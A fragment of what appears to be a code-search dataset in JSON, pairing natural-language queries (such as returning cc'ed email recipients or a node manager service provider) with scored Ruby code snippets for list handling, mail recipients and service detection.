"text": "def check_if_has_children\n self.items.count == 0\n end",
"title": ""
},
{
"docid": "8a8a9120d11aa6a5cb4a2c4edd5dcac6",
"score": "0.47787887",
"text": "def reduce__packages(p1, p2)\n any_changes = false\n max_items = 100\n if p1.size > max_items\n p1.keys.dup.each do |k|\n if p1.size <= max_items\n break\n end\n if p1[k] == p2[k]\n p1.delete(k)\n p2.delete(k)\n any_changes = true\n end\n end\n end\n if any_changes\n p1[\"__INFO__\"] = \"Some items left out.\"\n p2[\"__INFO__\"] = \"Some items left out.\"\n end\nend",
"title": ""
},
{
"docid": "4d01cf71e535d98afa560238be97e136",
"score": "0.47626695",
"text": "def removable?\n if self.status == 0 && self.postings_count == 0 #move expired posts to another database 7 days after expiration date to get an accurate count\n return true\n elsif self.location_id ==0 && Subcategory.find_all_by_subname_id(self.subname_id).size == 1\n return true\n else\n return false \n end\n end",
"title": ""
},
{
"docid": "51568a5f04d73ab1fe645c85fd6e83b7",
"score": "0.47563282",
"text": "def reduce_space_availability()\n if @spaces_available == 0\n return @spaces_available =0\n else\n return @spaces_available -= 1\n end\n end",
"title": ""
},
{
"docid": "add7e692f6275fa352b5e12301312b24",
"score": "0.47540244",
"text": "def build; items.size > BUILD_INDEX ? @items[BUILD_INDEX] : nil end",
"title": ""
},
{
"docid": "2de0e73ca3b416a4fc0b9b1cd5e36d35",
"score": "0.47409964",
"text": "def clearItems(*args)\n $fx_icon_item_remove_mutex.synchronize do\n #puts \"clearitems\"\n super\n end\n end",
"title": ""
},
{
"docid": "28ca41ed8e221ff7c00b57d2b9ca9883",
"score": "0.4738997",
"text": "def get_finished_goods(items)\n\t\t\t\titems.map(&:group_id).uniq.select{|item| item.match(/-FG$/) }.compact.map do |group_id|\n\t\t\t\t\tself.find(:all, :conditions => [\"group_id = ?\", group_id])\n\t\t\t\tend.flatten.compact\n\t\t\tend",
"title": ""
},
{
"docid": "b404c9f2e8ffbd412b2105fa06778be5",
"score": "0.47388312",
"text": "def refresh_item_list\n @index = nil\n prepare_item(0)\n end",
"title": ""
},
{
"docid": "2f089771883be1c0a86b1f0942321ba3",
"score": "0.47324497",
"text": "def load_items_from_store\r\n\t\t\t\t\t\r\n\t\t\titemRowElements = xml_with_items.search('searchresponse/items/searchresults/results/row');\t\t\t\r\n\t\t\titemRowElements.each do | el |\r\n\t\t\t\t# constructor will take care of registering the thing with us\r\n\t\t\t\tHip3::Item.new(el, self)\r\n\t\t\tend\r\n\t\t\t# Tell all our copies they're loaded, so they won't try and load again\r\n\t\t\tcopies.each { |c| c.items_loaded = true }\r\n\t\t\t\r\n\t\tend",
"title": ""
},
{
"docid": "efd31018fb48970d74a63334861f89e0",
"score": "0.4731303",
"text": "def clear_items\n @items = []\n end",
"title": ""
},
{
"docid": "f9be7c90acc637a8b107423a5380b83f",
"score": "0.47247118",
"text": "def remove_item(item)\n i = 0\n @items.delete item\n fox_item = item.fox_item\n i += 1 while i < numItems && fox_item != getItem(i)\n removeItem(i) if i < numItems\n item\n end",
"title": ""
},
{
"docid": "98fdf4935e05ce0c3a0d0c468339ee47",
"score": "0.47215745",
"text": "def void_last_transaction\n @total = 0\n @items = []\n\n\n end",
"title": ""
},
{
"docid": "579d894179e53d1b7f2b4ecf8ef340c0",
"score": "0.47213286",
"text": "def load!\n orders = @exchange_adapter.orders(direction: @direction)\n @subscriber_lock = true\n standartized_items = []\n orders[:data].each { |item| standartized_items << @exchange_adapter.class.standartize_item(item) }\n \n standartized_items.each do |item|\n # Let's not play the game of guessing what's added or removed if we're\n # populating this orderbook for the first time. Thus, the @full_depth_timestamp check.\n if @full_depth_timestamp && i = find_item_index_by_price(item[:price])\n if @items[i][:size] < item[:size]\n # Update existing items when size increases\n add_item(item[:price], item[:size]-@items[i][:size], force: true)\n elsif @items[i][:size] > item[:size]\n # Update existing items when size decreases\n remove_item(item[:price], @items[i][:size]-item[:size], force: true)\n end\n else\n # Add a brand new item\n add_item(item[:price], item[:size], force: true)\n end\n\n end\n\n if @full_depth_timestamp\n # Remove an item completely by subtracting new orderbook contents\n # from the old orderbook contents. That way we know for sure which items should\n # be deleted.\n (@items - standartized_items).each do |item|\n remove_item(item[:price], item[:size], force: true)\n end\n end\n\n @subscriber_lock = false\n @timestamp = orders[:timestamp]\n @full_depth_timestamp = @timestamp\n end",
"title": ""
},
{
"docid": "98c89e506bfec05cf20ec2e664d543de",
"score": "0.4717117",
"text": "def failed!\n @resultant = :\"#u\"\n\n # Remove all items until most recent backtrack point.\n until move_queue.empty? ||\n (last_move.kind_of?(Bookmark) && last_move.kind == :bt_point)\n dequeue_item\n end\n end",
"title": ""
},
{
"docid": "34070c1984c828769c98fec63005737f",
"score": "0.47166574",
"text": "def closed_item(item); end",
"title": ""
},
{
"docid": "2046b40863223be2ce024bb74bb0c1b4",
"score": "0.47153336",
"text": "def cleanup\n tot_count = 0\n bad_count = 0\n @table.has_fields('pubDate').run(@conn).each do |item|\n tot_count += 1\n unless item.has_key? 'pubDate'\n print 'o'\n next\n end\n bad_count += 1\n print '.'\n begin\n story = Story.new(item)\n rescue => e\n STDERR.puts \"\\n\\n\" + e.to_s\n debug_me(file: STDERR){[ :item ]}\n end\n @table.replace(story.to_h).run(@conn)\n end\n print \"\\n\\n\"\n debug_me{[ :tot_count, :bad_count ]}\n end",
"title": ""
},
{
"docid": "ef7191c0fa1f024243fbd816509d65ff",
"score": "0.47148547",
"text": "def release_bike\n if empty?\n raise \"dock is empty\"\n else\n @collection.bikes.pop\n end\n end",
"title": ""
},
{
"docid": "1dfd807c3461d691cc42abf79f73bb62",
"score": "0.47126463",
"text": "def purge(item)\n end",
"title": ""
},
{
"docid": "ea5fde98ff9051c6a1ce2c5d9b4503e0",
"score": "0.47116888",
"text": "def ensure_not_referenced_by_any_line_item\n\t\t\t# if line_items is not empty run the block, if it is empty, than proceed to destroy\n\t\t\tunless line_items.empty?\n\t\t\t\terrors.add(:base, 'Line Items present')\n\t\t\t\tthrow :abort\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "937179c857864b7cc8cf1e17c5fe9144",
"score": "0.4710913",
"text": "def nonreserved_stock_availability_in_distribution_center dc_id, items_count\n stock_inventories.available_stock_for_reserve(dc_id, items_count)\n end",
"title": ""
}
] |
ab5a5081d60414cb4faa7df3977e9612 | return the cc'ed recipients. | [
{
"docid": "0231ab7c3fa73be60186c289d3b77311",
"score": "0.0",
"text": "def copied\n self.recipients.select { |r| r.id != self.signee.id }\n end",
"title": ""
}
] | [
{
"docid": "3c9561141545d87e87bc72ede6c3f81c",
"score": "0.8748712",
"text": "def cc_recipients\n return @cc_recipients\n end",
"title": ""
},
{
"docid": "c72ac8abc2e714a2cdc29ecf64f34375",
"score": "0.8121359",
"text": "def recipients\n [self.to, self.cc, self.bcc].flatten.compact\n end",
"title": ""
},
{
"docid": "0ef4fcebe7fc9c43bd11fb1aeb1033dc",
"score": "0.80365455",
"text": "def mail_recipients\n Array(to) + Array(cc)\n end",
"title": ""
},
{
"docid": "1b36eb108d7f19951d710c467bf81b7f",
"score": "0.7701556",
"text": "def recipients\n recipients = []\n recipients << @user\n cc = embargo_notification_cc\n recipients << cc unless cc.nil?\n recipients\n end",
"title": ""
},
{
"docid": "3c869c40429d7b3e1c7f3023325cb2da",
"score": "0.76603144",
"text": "def bcc_recipients\n return @bcc_recipients\n end",
"title": ""
},
{
"docid": "7c440ffa440f43c848671eab29072481",
"score": "0.76521957",
"text": "def recipients\n if self.last_message\n recps = self.last_message.recipients\n recps = recps.is_a?(Array) ? recps : [recps]\n return recps\n end\n return []\n end",
"title": ""
},
{
"docid": "2007b20afb10dadeaed24675c0651e9c",
"score": "0.7633391",
"text": "def recipients\n\t\tif self.last_message\n\t\t\trecps = self.last_message.recipients\n\t\t\trecps = recps.is_a?(Array) ? recps : [recps]\n\t\treturn recps\n\t\tend\n\t\treturn []\n\tend",
"title": ""
},
{
"docid": "2887ece6f641a40d6bde1763823a74c9",
"score": "0.76095295",
"text": "def recipients\n Participant.joins(:message_participants).where('message_participants.email_message_id = ?', self.message_id).where(\"message_participants.delivery = 'to' OR message_participants.delivery = 'cc'\").uniq\n end",
"title": ""
},
{
"docid": "a50ee9cce7bc085d69153da3b8b23bf8",
"score": "0.75658906",
"text": "def recipients\n return @recipients\n end",
"title": ""
},
{
"docid": "a14c93fab0fba23db4218ea127ace828",
"score": "0.75550747",
"text": "def recipients\n return @recipients\n end",
"title": ""
},
{
"docid": "b0b647a2d86203c2df09e5204ae31020",
"score": "0.7445572",
"text": "def recipients\n [mail.to, mail.cc].compact.flatten.map { |email| { email: email, name: email } }\n end",
"title": ""
},
{
"docid": "16d2680152a3ef76b616ca067a0c4402",
"score": "0.7358627",
"text": "def cc\n email_message.cc_recipients.map(&:to_s)\n end",
"title": ""
},
{
"docid": "b11d1e2a31432993ed0a79880367bc34",
"score": "0.7327657",
"text": "def recipients\n if @recipients.blank?\n recipients_array = Array.new\n self.receipts.each do |receipt|\n recipients_array << receipt.receiver\n end\n return recipients_array\n end\n return @recipients\n end",
"title": ""
},
{
"docid": "9c79806d2e0eca9e219b87a6c849bda5",
"score": "0.7278236",
"text": "def recipient_addresses\n (Array(tmail.to) + Array(tmail.cc)).collect(&:downcase).uniq\n end",
"title": ""
},
{
"docid": "bebdef8c1543a7eb99dfcaaa9e388a2d",
"score": "0.72541535",
"text": "def all_recipients #:nodoc:\n tos + ccs + bccs\n end",
"title": ""
},
{
"docid": "bc5968099a1822d951766da8c9fac165",
"score": "0.716786",
"text": "def all_recipients\n [:to, :cc, :bcc].collect{|type| Array.wrap(self.send(type)).collect{|email| email.split(/;,/)}}.flatten.uniq.join(\", \")\n end",
"title": ""
},
{
"docid": "19fcae843da8d69b6ccf7c98526c7445",
"score": "0.71663266",
"text": "def recipients\n return [] unless original_message\n Array original_message.recipients\n end",
"title": ""
},
{
"docid": "0e07c9241c78fbfc51ade962253d8348",
"score": "0.70818514",
"text": "def to_recipients\n return @to_recipients\n end",
"title": ""
},
{
"docid": "fb27ac42e7f7930ea4474e1ee0e0a2b4",
"score": "0.7071724",
"text": "def recipients\n @message['To'].split ', '\n end",
"title": ""
},
{
"docid": "d0ecf732f9352121038e9cfe89bd3989",
"score": "0.7063798",
"text": "def recipients\n self.session.recipients\n end",
"title": ""
},
{
"docid": "666af9c4cf1f4e6e94950b92a2edcb66",
"score": "0.7045353",
"text": "def recipients\n message.recipients\n end",
"title": ""
},
{
"docid": "32c6db4d2b686a149018ae2e7f33fbaa",
"score": "0.703211",
"text": "def participants\n\t return recipients\n\tend",
"title": ""
},
{
"docid": "068074629da6b14f1bdaa6aa6572ef8d",
"score": "0.69678706",
"text": "def recipients\n all_users.map(&:mail).flatten.sort.uniq\n end",
"title": ""
},
{
"docid": "7823484cc30fc520cdf5f80e2a7707a0",
"score": "0.6944866",
"text": "def recipients\n self.conversation.participants(self.from_id)\n end",
"title": ""
},
{
"docid": "f9dc93123a618e2d2a3025aef2e0441a",
"score": "0.6894163",
"text": "def recipients\n result = Array.new\n JobOffer.where(job: self).each do |jo|\n result << jo.member\n end\n result\n end",
"title": ""
},
{
"docid": "186ae2c41a142bcc86a2687976ec5982",
"score": "0.6875721",
"text": "def recipients\r\n recipients = project.recipients\r\n # Author and assignee are always notified unless they have been locked\r\n recipients << created_by.mail if created_by && created_by.active?\r\n recipients << assigned_to.mail if assigned_to && assigned_to.active?\r\n recipients.compact.uniq\r\n end",
"title": ""
},
{
"docid": "415b0af0cbeccb2dbea66e388730f117",
"score": "0.68638474",
"text": "def participants\n return recipients\n end",
"title": ""
},
{
"docid": "7a5a882a14e4adcef4ea4ec0405fab1e",
"score": "0.6826855",
"text": "def recipients\n if state == 'in_development'\n [leader]\n elsif state == 'distributed'\n organizations.map{|org| org.users.with_role(:transit_manager)}.flatten\n elsif state == 'activated'\n [parent.leader]\n end\n\n end",
"title": ""
},
{
"docid": "7a5a882a14e4adcef4ea4ec0405fab1e",
"score": "0.6826855",
"text": "def recipients\n if state == 'in_development'\n [leader]\n elsif state == 'distributed'\n organizations.map{|org| org.users.with_role(:transit_manager)}.flatten\n elsif state == 'activated'\n [parent.leader]\n end\n\n end",
"title": ""
},
{
"docid": "c26a739010dc28c1d3c03dec5aecbe94",
"score": "0.6824651",
"text": "def recipients\n Array.wrap(::User.find_by_user_key(@work.depositor))\n end",
"title": ""
},
{
"docid": "6b30efd6ff251974de9c4142ce9edf22",
"score": "0.6795133",
"text": "def recipients\n @subscriptions.inject([]) do |arr, sub|\n arr << { email: sub.email, name: sub.user.name }\n end\n end",
"title": ""
},
{
"docid": "9be0b0c501ff00c50a5120de37202e17",
"score": "0.6794622",
"text": "def recipients\n notified_users.collect(&:mail)\n end",
"title": ""
},
{
"docid": "a85f4ce4f1d1beecf52db3ae78daa1c8",
"score": "0.679292",
"text": "def recipients\n response = get(:action => 'select', :type => 'recipient')\n response['recipients']['recipient']\n end",
"title": ""
},
{
"docid": "6aed5a3b0a44240703bc6ee76a197141",
"score": "0.6768553",
"text": "def recipients\n (recipient_users + recipient_groups).map { |r| Recipient.new(object: r) }\n end",
"title": ""
},
{
"docid": "fa9b4240bcfdab68298f8e52095fb8fc",
"score": "0.6767596",
"text": "def recipients\n notified_users.collect(&:mail)\n end",
"title": ""
},
{
"docid": "fa9b4240bcfdab68298f8e52095fb8fc",
"score": "0.6767596",
"text": "def recipients\n notified_users.collect(&:mail)\n end",
"title": ""
},
{
"docid": "fa9b4240bcfdab68298f8e52095fb8fc",
"score": "0.6767596",
"text": "def recipients\n notified_users.collect(&:mail)\n end",
"title": ""
},
{
"docid": "2b6b27d2afd0eba1126b7def18a2547f",
"score": "0.6725573",
"text": "def recipients\n @recipients ||= message[\"receipt\"][\"recipients\"].map { |recipient| Mail::Address.new(recipient) }\n end",
"title": ""
},
{
"docid": "02fc1fbf7a1ce0b8da67e16e9e3874e2",
"score": "0.6723934",
"text": "def recipients\n # project.users.select{|u| u.active? && u.notify_about?(self)}.uniq.map(&:mail)\n project.users.active.map(&:mail).compact.uniq\n end",
"title": ""
},
{
"docid": "1b0b123e164f4f9b9a755db3d7742385",
"score": "0.67229176",
"text": "def get_recipients(packet)\n @recipients_certs\n end",
"title": ""
},
{
"docid": "d4041bf947c6c24cfe90053e5cce138f",
"score": "0.67184895",
"text": "def recipients\n all_users = self.users.find(:all)\n all_groups = self.groups.find(:all)\n all = Array.new\n all_users.each { |user| all << user }\n all_groups.each { |group| all << group }\n all = all.sort_by { |obj| obj.name.downcase }\n end",
"title": ""
},
{
"docid": "2a01ecaf8c541e9c23229ebc2649809a",
"score": "0.67116773",
"text": "def recipients; end",
"title": ""
},
{
"docid": "ccdbed4337d5ebbf7a040c4170c288cb",
"score": "0.66935474",
"text": "def recipients\n options[:user_class].constantize.recipients_in_message_thread(self).uniq\n end",
"title": ""
},
{
"docid": "ec9fe6bb74dd2fd6bc0a0bcf12aa0a79",
"score": "0.66876364",
"text": "def recipients\n notified_users.collect {|user| user.mail}\n end",
"title": ""
},
{
"docid": "a706776a84eefaf61b659187a4f80e37",
"score": "0.66452074",
"text": "def recipients\n model.recipients_for(resource) - [current_user]\n end",
"title": ""
},
{
"docid": "82118c3ca7b4c3200f886b8252f7aeb9",
"score": "0.6644487",
"text": "def past_recipients(user_id=nil)\n return @recipients if user_id.nil?\n if !@recipients\n @recipients = Blast.find(:all, :select=>\"DISTINCT blasts.to\", :conditions=>[\"user_id = ?\", user_id], :order=>\"blasts.to ASC\")\n out = []\n for blast in @recipients\n out.push(blast.to)\n end\n @recipients = out.join(\", \")\n end\n @recipients\n end",
"title": ""
},
{
"docid": "4007a9c6b9880f019e54f96ef469a135",
"score": "0.6616251",
"text": "def get_recipients(obj)\n @recipients_certs\n end",
"title": ""
},
{
"docid": "4007a9c6b9880f019e54f96ef469a135",
"score": "0.6616251",
"text": "def get_recipients(obj)\n @recipients_certs\n end",
"title": ""
},
{
"docid": "43344e408c1220d326f87f00822be2a0",
"score": "0.6612511",
"text": "def bcc\n email_message.bcc_recipients.map(&:to_s)\n end",
"title": ""
},
{
"docid": "58d2206bc8be5b73e444a933e6f4fb5c",
"score": "0.659791",
"text": "def recipients\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "3f0d81be172e401b75341fcd75971a93",
"score": "0.65806675",
"text": "def users()\n if(@users.nil?)\n @users = self.recipients.clone\n @users << self.originator unless @users.include?(self.originator) \n end\n return @users\n end",
"title": ""
},
{
"docid": "ddd6b039905f82ed9828fb6797168061",
"score": "0.65515924",
"text": "def new_recipients\n used_emails = self.email_campaign_sents.map{ |ecs| ecs.email }\n @recipients_strategy.get_recipients.select{ |r| !used_emails.include? r[:email] }\n end",
"title": ""
},
{
"docid": "50f023ba7b6af83071f4ef0d8ee1a1a7",
"score": "0.65087366",
"text": "def recipients(*) end",
"title": ""
},
{
"docid": "c8743c80174d30d89c331dcf498a2637",
"score": "0.6493729",
"text": "def cc\n (envelope[:cc] || []).map {|a| address(a)}\n end",
"title": ""
},
{
"docid": "0f03932bbea94575fc56a9b2321d0ff0",
"score": "0.6475187",
"text": "def order_mail_recipients\n order_bcc_list.split(',').map {|address| address.chomp.strip }.select(&:present?)\n end",
"title": ""
},
{
"docid": "4c00725df07215d3faf47dd3579babba",
"score": "0.64679426",
"text": "def mail_recipients\n ActionMailer::Base.deliveries.map(&:to).flatten.to_set\n end",
"title": ""
},
{
"docid": "337b958655f237929aa68a7bb43346c7",
"score": "0.64440805",
"text": "def all_related_users\n recipients = []\n recipients += users\n recipients += watchers\n recipients = recipients.uniq.compact\n\n return recipients\n end",
"title": ""
},
{
"docid": "9050d34447735d9666a92a48b9c15b07",
"score": "0.6436049",
"text": "def recipients\n raise AbstractMethodError, :recipients\n end",
"title": ""
},
{
"docid": "202b28c9158b59cb4dee99a76d1da9ac",
"score": "0.6430688",
"text": "def cc\n @email.cc.nil? ? '' : @email.cc.join(', ')\n end",
"title": ""
},
{
"docid": "5eae54b99cebaca87d2ea5b524376bb1",
"score": "0.6429808",
"text": "def recipients\n NotifiyUsersMailer.recipients\n end",
"title": ""
},
{
"docid": "8eb86600ca4a866513b0dcfc3eccd250",
"score": "0.64297545",
"text": "def recipient_addresses\n @recipients.collect(&:rfc5322_email).collect(&:downcase) - email.recipient_addresses\n end",
"title": ""
},
{
"docid": "fac26c5236bfb9275048c9b7fa889a6b",
"score": "0.64264196",
"text": "def recipients\n admin_role = Role.find_by(name: \"admin\")\n admin_role.users.to_a\n end",
"title": ""
},
{
"docid": "ab68885677c731b133a1a6faff7c636c",
"score": "0.6426134",
"text": "def participants\n recipients\n end",
"title": ""
},
{
"docid": "3ab5679f2c835743caab9c8302d6493f",
"score": "0.64177525",
"text": "def recipients(params = {})\n @api.get(\"#{@api.path}/Message/#{@id}/List/Recipients\", params: params)\n end",
"title": ""
},
{
"docid": "4c7bdf4bb3b397649dc71cb3779c4495",
"score": "0.6408131",
"text": "def message_recipients\n api_response.dig('toRecipients')\n end",
"title": ""
},
{
"docid": "9455e2be5370ced2099b118576e52c45",
"score": "0.6405601",
"text": "def get_recipient_list\n add_str = File.read(\"#{File.expand_path('../', __FILE__)}/email_recipients\")\n recipient_list = Array.new\n add_str.split(\"\\n\").each do |add|\n if !add.nil? && add.match(/\\A.+@.+\\.com\\Z/)\n recipient_list.push(add)\n end\n end\n return recipient_list\n end",
"title": ""
},
{
"docid": "22d2ce4edea8e90b5d109106530740c5",
"score": "0.63909984",
"text": "def recipients\r\n RecipientsController.instance\r\n end",
"title": ""
},
{
"docid": "1aa8e092c8266f05a0a05ae8d4f3296a",
"score": "0.6345101",
"text": "def recipients(record)\n if record.present?\n recipients_for_unit(record.unit,record.class.to_s)\n else\n []\n end\n end",
"title": ""
},
{
"docid": "b89abf5c28b0ebbcb21789a8f955e509",
"score": "0.63333774",
"text": "def recipients(arg=nil)\n converted_arg = arg.is_a?(String) ? [ arg ] : arg\n set_or_return(\n :recipients,\n converted_arg,\n :kind_of => [ Array ]\n )\n end",
"title": ""
},
{
"docid": "fe8e2f6d7c0d36a858035aa4004b9bc9",
"score": "0.6316633",
"text": "def company_recipients(company)\n company.current_members\n end",
"title": ""
},
{
"docid": "966078352f5476e1f456b8b1ca49dada",
"score": "0.6316075",
"text": "def recipients\n if @model.recipients.count > 1\n \"Multiple Recipients\"\n else\n h(@model.recipients.first.try(:receiver).try(:org_name)) || ''\n end.html_safe\n end",
"title": ""
},
{
"docid": "d6a5dfb2752524f1c514a53252dd0c1b",
"score": "0.62199336",
"text": "def recipients\n case recipient_type\n when \"team\" then meal.workers - [sender]\n when \"diners\" then meal.signups.map(&:household)\n end\n end",
"title": ""
},
{
"docid": "925334024886fd3202416a31a6677a6a",
"score": "0.6218471",
"text": "def message_recipients\n recipients = []\n self.lis(:id=>/as-selection-/).each do |li|\n string = li.text\n string.gsub!(\"×\\n\",\"\")\n recipients << string\n end\n return recipients\n end",
"title": ""
},
{
"docid": "da8e6d03acd580aa142ccf8f6838b442",
"score": "0.6205085",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n #notified << assigned_to if assigned_to && assigned_to.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail) \n end",
"title": ""
},
{
"docid": "caa6ede4476b6aed7fd63b81e71d69ad",
"score": "0.6195024",
"text": "def recipients\n fail NotImplementedError\n end",
"title": ""
},
{
"docid": "459b916b9a8e2bb18e91066092a6c088",
"score": "0.61935216",
"text": "def recipients=(value)\n @recipients = value\n end",
"title": ""
},
{
"docid": "b892b145081fcd68a61917f19f19490b",
"score": "0.61890316",
"text": "def cc_recipients=(ccRecipients)\n @cc_recipients = ccRecipients\n end",
"title": ""
},
{
"docid": "cfd3f8fae750235f2fe968cf0233efd6",
"score": "0.6150264",
"text": "def get_recipients(obj)\n @store.get_recipients(obj)\n end",
"title": ""
},
{
"docid": "6e8daafbbeffcb06e615439c11502642",
"score": "0.6144846",
"text": "def recipients=(value)\n @recipients = value\n end",
"title": ""
},
{
"docid": "e6fd894cf726b33f42dc1e2fed21b370",
"score": "0.61390555",
"text": "def participants\n if @participants.nil?\n @participants = self.recipients.clone\n @participants << self.original_sender unless @participants.include?(self.original_sender) \n end\n @participants\n end",
"title": ""
},
{
"docid": "dee28667a02138d51a4be074a2b1bf96",
"score": "0.6131214",
"text": "def recipients(sender)\n participants.reject { |p| p.id == sender.id }\n end",
"title": ""
},
{
"docid": "dee28667a02138d51a4be074a2b1bf96",
"score": "0.6131214",
"text": "def recipients(sender)\n participants.reject { |p| p.id == sender.id }\n end",
"title": ""
},
{
"docid": "dee28667a02138d51a4be074a2b1bf96",
"score": "0.6131214",
"text": "def recipients(sender)\n participants.reject { |p| p.id == sender.id }\n end",
"title": ""
},
{
"docid": "dee28667a02138d51a4be074a2b1bf96",
"score": "0.6131214",
"text": "def recipients(sender)\n participants.reject { |p| p.id == sender.id }\n end",
"title": ""
},
{
"docid": "dee28667a02138d51a4be074a2b1bf96",
"score": "0.6131214",
"text": "def recipients(sender)\n participants.reject { |p| p.id == sender.id }\n end",
"title": ""
},
{
"docid": "dee28667a02138d51a4be074a2b1bf96",
"score": "0.6131214",
"text": "def recipients(sender)\n participants.reject { |p| p.id == sender.id }\n end",
"title": ""
},
{
"docid": "d4bb2447321b9619310419d72afa2337",
"score": "0.61269903",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n #notified << assigned_to if assigned_to && assigned_to.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "d4bb2447321b9619310419d72afa2337",
"score": "0.61269903",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n #notified << assigned_to if assigned_to && assigned_to.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "ba59e15c5053f4c9d0ee196e8e97d9e4",
"score": "0.60857093",
"text": "def gather_recipients\n\t\tarr = (self.recipients + self.additional_recipients).reject{|c| self.disable_recipient_ids.include? c.id.to_s}\n\t\tif arr.select{|c|\n\t\t\tc.user_id == self.created_by_user_id\n\t\t}.size == 0\n\t\t\tarr << Notification::Recipient.new(user_id: self.created_by_user_id)\n\t\tend\n\t\tarr\n\tend",
"title": ""
},
{
"docid": "d36ca7e2725d4317008a92fa8007c33e",
"score": "0.60844886",
"text": "def recipients\n notified = cm_doc.project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << assignee if assignee && assignee.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "bbe7f43fb07eb785ebfb14f99a2322cf",
"score": "0.60823214",
"text": "def fetch_all_recipients\n response = @http.get(\n ENV['RECIPIENTS_URL'],\n content_type: 'application/json',\n authorization: \"Bearer #{@token}\"\n )\n incoming = JSON.parse(response.body)['recipients'].map { |json| Recipient.new(json) }\n @recipients = incoming\n end",
"title": ""
},
{
"docid": "ef083cd6b123e7de893e51253c86c351",
"score": "0.6053058",
"text": "def embedded_carbon_copy_recipients\n recipients.select do |recipient|\n recipient.recipient_type == :carbon_copy && recipient.client_user_id.present?\n end\n end",
"title": ""
},
{
"docid": "3812c70383aec67f86b9983dfb0e9814",
"score": "0.6051001",
"text": "def emails_send_to\n [email, cc.presence].compact.to_sentence\n end",
"title": ""
},
{
"docid": "60ee4a52491d512115b4da0fdcbae889",
"score": "0.6050841",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << assignee if assignee && assignee.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "60ee4a52491d512115b4da0fdcbae889",
"score": "0.6050841",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << assignee if assignee && assignee.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "60ee4a52491d512115b4da0fdcbae889",
"score": "0.6050841",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << assignee if assignee && assignee.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "60ee4a52491d512115b4da0fdcbae889",
"score": "0.6050841",
"text": "def recipients\n notified = project.notified_users\n # Author and assignee are always notified unless they have been locked\n notified << author if author && author.active?\n notified << assignee if assignee && assignee.active?\n notified.uniq!\n # Remove users that can not view the issue\n notified.reject! {|user| !visible?(user)}\n notified.collect(&:mail)\n end",
"title": ""
},
{
"docid": "3caf03d37bae49a9799f4d1e324f53be",
"score": "0.6025752",
"text": "def subscribed_to_contacts\n @roster.select {|c| c.subscribed_to? }\n end",
"title": ""
},
{
"docid": "3caf03d37bae49a9799f4d1e324f53be",
"score": "0.6024302",
"text": "def subscribed_to_contacts\n @roster.select {|c| c.subscribed_to? }\n end",
"title": ""
},
{
"docid": "a9eed30365ef1bae468373d21afcb9f8",
"score": "0.60121495",
"text": "def call\n return recipients unless mailable.respond_to?(:conversation)\n\n recipients.each_with_object([]) do |recipient, array|\n array << recipient if mailable.conversation.has_subscriber?(recipient)\n end\n end",
"title": ""
},
{
"docid": "3d3ac72b7fbbbb3c189b22ff5d0820db",
"score": "0.59782165",
"text": "def cc_addrs; end",
"title": ""
}
] |
820abbf47a06bf1291b20a9916fc95e5 | Cookbook Name:: fmw_domain Provider:: nodemanager_service Copyright 2015 Oracle. All Rights Reserved nodemanager_service provider for RedHat family | [
{
"docid": "5df439bcfb982aa8a070e97f159fa342",
"score": "0.0",
"text": "def whyrun_supported?\n true\nend",
"title": ""
}
] | [
{
"docid": "1202612ce0f47f8ce0dc73978b71d2c2",
"score": "0.65733004",
"text": "def services_for(node)\n # This info is taken from our JSON inventory file\n [JSON.parse(File.read(\"#{repository_path}/hosts.json\"))[\"#{node}.hpc_tutorial.org\"]]\n end",
"title": ""
},
{
"docid": "97d4b94c351e1acdf7740f20afd94f88",
"score": "0.5965764",
"text": "def service_name; end",
"title": ""
},
{
"docid": "cecb94362ce92e6f5b941028d3758264",
"score": "0.5943989",
"text": "def service_resource_providers\n service_resource_providers = []\n\n if ::File.exist?(\"/usr/sbin/update-rc.d\")\n service_resource_providers << :debian\n end\n\n if ::File.exist?(\"/usr/sbin/invoke-rc.d\")\n service_resource_providers << :invokercd\n end\n\n if ::File.exist?(\"/sbin/insserv\")\n service_resource_providers << :insserv\n end\n\n # debian >= 6.0 has /etc/init but does not have upstart\n if ::File.exist?(\"/etc/init\") && ::File.exist?(\"/sbin/start\")\n service_resource_providers << :upstart\n end\n\n if ::File.exist?(\"/sbin/chkconfig\")\n service_resource_providers << :redhat\n end\n\n if ::File.exist?(\"/bin/systemctl\")\n # FIXME: look for systemd as init provider\n service_resource_providers << :systemd\n end\n\n service_resource_providers\n end",
"title": ""
},
{
"docid": "2c82bf983bfe5c2ea55dc9c61cce22cc",
"score": "0.58812827",
"text": "def with_service(node, service)\n mapping = CONF['service_mappings']\n if mapping and mapping[service]\n mapping[service].include?(name(node))\n end\nend",
"title": ""
},
{
"docid": "b2002c47c8355efe7790b534e03808e0",
"score": "0.5866164",
